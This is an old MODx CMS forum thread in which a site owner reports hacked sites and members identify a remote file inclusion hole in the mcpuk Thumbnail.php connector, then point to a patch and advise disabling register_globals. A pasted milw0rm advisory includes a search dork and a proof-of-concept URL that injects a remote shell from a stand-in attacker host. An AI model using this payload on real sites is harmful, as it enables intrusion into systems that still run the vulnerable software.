We launched new forums in March 2019—join us there. In a hurry for help with your website? Get Help Now!
    • 2762
    • 1,198 Posts
    Nicola (Banzai) Reply #1, 20 years ago
    Today someone has haked 3 of my sites included www.modx.it and www.tattoocms.it undecided undecided undecided

    I’m waiting for more detailed information from my host but seems caused by:

    manager\media\browser\mcpuk\connectors\php\Commands\Thumbnail.php huh
      Free MODx Graphic resources and Templates www.tattoocms.it
      -----------------------------------------------------

      MODx IT  www.modx.it
      -----------------------------------------------------

      bubuna.com - Web & Multimedia Design
      • 2762
      • 1,198 Posts
      Nicola (Banzai) Reply #2, 20 years ago
      some information: embarrassed


        Free MODx Graphic resources and Templates www.tattoocms.it
        -----------------------------------------------------

        MODx IT  www.modx.it
        -----------------------------------------------------

        bubuna.com - Web & Multimedia Design
        • 2762
        • 1,198 Posts
        Nicola (Banzai) Reply #3, 20 years ago
        Seems they used mcpuck to upload content on my server and launch it!
        using 200mb of bandwith!
          Free MODx Graphic resources and Templates www.tattoocms.it
          -----------------------------------------------------

          MODx IT  www.modx.it
          -----------------------------------------------------

          bubuna.com - Web & Multimedia Design
          • 25663 MODX Staff
          • 12,272 Posts
          Any reference to how to fix it?
            Ryan Thrash, MODX Co-Founder
            Follow me on Twitter at @rthrash or catch my occasional unofficial thoughts at thrash.me
            • 1876
            • 835 Posts
            Hi

            +-------------------------------------------------------------------------------------------
            + MODx CMS 0.9.2.1 (base_path) Remote File Include Vulnerability
            +-------------------------------------------------------------------------------------------
            + Affected Software .: MODx CMS 0.9.2.1
            + Vendor ............: http://modxcms.com/
            + Download ..........: http://modxcms.com/downloads.html
            + Description .......: "MODx is an open source PHP Application Framework that helps you take control of your online content."
            + Dork ..............: "powered by MODx"
            + Class .............: Remote File Inclusion
            + Risk ..............: High (Remote File Execution)
            + Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
            +-------------------------------------------------------------------------------------------
            + Details:
            + MODx CMS manager/media/browser/mcpuk/connectors/php/commands/thumbnail.php does not initialize
            + the $base_path variable before using it to include files, assuming register_globals = on,
            + we can intialize the variable in a query string and include a remote file of our choice.
            +
            + Vulnerable Code:
            + manager/media/browser/mcpuk/connectors/php/commands/thumbnail.php, line(s) 24:
            + -> include $base_path."manager/media/browser/mcpuk/connectors/php/Commands/helpers/iconlookup.php";
            +
            + Proof Of Concept:
            + http://[target]/[path]/manager/media/browser/mcpuk/connectors/php/Commands/Thumbnail.php?base_path=http://evilsite.com/shell.php?
            +-------------------------------------------------------------------------------------------

            # milw0rm.com [2006-11-03]
              • 2762
              • 1,198 Posts
              Nicola (Banzai) Reply #6, 20 years ago
              more info from my host in the attached file.

              Note: all tree site using modx cms:

              www.tattoocms.it 0.9.21
              www.modx.it 0.9.5 beta 5
              www.agenzieviaggi-web.it 0.9.5 beta 5

                Free MODx Graphic resources and Templates www.tattoocms.it
                -----------------------------------------------------

                MODx IT  www.modx.it
                -----------------------------------------------------

                bubuna.com - Web & Multimedia Design
                • 25663 MODX Staff
                • 12,272 Posts
                See the important announcement thread for a quick fix.
                  Ryan Thrash, MODX Co-Founder
                  Follow me on Twitter at @rthrash or catch my occasional unofficial thoughts at thrash.me
                  • 6726
                  • 7,075 Posts
                  I have reported this on FlySpray (bug 647), the patch can be found here :
                  http://modxcms.com/forums/index.php/topic,8604.msg60548.html#msg60548
                    .: COO - Commerce Guys - Community Driven Innovation :.


                    MODx est l&#39;outil id
                    • 25663 MODX Staff
                    • 12,272 Posts
                    By the way, this only appears to apply if you have register_globals set to on in your PHP.ini file. That should be turned off too, and will not even be able to be turned on in future PHP versions exactly for reasons like this. (PHP 6)
                      Ryan Thrash, MODX Co-Founder
                      Follow me on Twitter at @rthrash or catch my occasional unofficial thoughts at thrash.me
                      • 6726
                      • 7,075 Posts
                      Thanks for the precision.
                      My server admin has register_globals set to off, but I have applied the patch anyway...
                        .: COO - Commerce Guys - Community Driven Innovation :.


                        MODx est l&#39;outil id

                      This discussion is closed to further replies. Keep calm and carry on.